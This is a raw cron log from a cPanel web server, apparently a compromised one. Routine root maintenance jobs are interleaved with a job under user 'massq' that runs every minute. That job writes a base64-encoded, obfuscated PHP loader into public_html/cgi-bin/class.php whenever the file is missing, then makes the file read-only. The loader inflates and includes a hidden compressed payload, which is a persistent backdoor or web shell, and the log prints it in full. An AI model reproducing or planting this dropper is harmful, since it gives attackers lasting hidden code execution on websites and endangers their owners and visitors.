Sep  9 16:25:01 server CROND[7574]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 16:25:01 server CROND[7579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:26:01 server CROND[8449]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:26:01 server CROND[8450]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:26:01 server CROND[8451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:27:01 server CROND[8908]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:27:01 server CROND[8910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:27:01 server CROND[8911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:27:01 server CROND[8909]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 16:28:01 server CROND[9390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:28:01 server CROND[9391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:28:01 server CROND[9392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:29:01 server CROND[9771]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:29:01 server CROND[9772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:29:01 server CROND[9773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:30:01 server CROND[10208]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 16:30:01 server CROND[10209]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 16:30:01 server CROND[10211]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 16:30:01 server CROND[10212]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 16:30:01 server CROND[10213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:30:01 server CROND[10216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:30:01 server CROND[10215]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 16:30:01 server CROND[10214]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  9 16:30:01 server CROND[10218]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:31:01 server CROND[11086]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:31:01 server CROND[11087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:31:01 server CROND[11088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:32:02 server CROND[11459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:32:02 server CROND[11460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:32:02 server CROND[11461]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:33:01 server CROND[11863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:33:01 server CROND[11865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:33:01 server CROND[11864]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:34:01 server CROND[12329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:34:01 server CROND[12330]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:34:01 server CROND[12331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:35:01 server CROND[12747]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 16:35:01 server CROND[12755]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 16:35:01 server CROND[12756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:35:01 server CROND[12757]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 16:35:01 server CROND[12762]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:35:01 server CROND[12758]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 16:35:01 server CROND[12760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:35:01 server CROND[12764]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 16:35:01 server CROND[12761]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 16:36:01 server CROND[13590]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:36:01 server CROND[13591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:36:01 server CROND[13592]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:37:01 server CROND[13966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:37:01 server CROND[13967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:37:01 server CROND[13968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
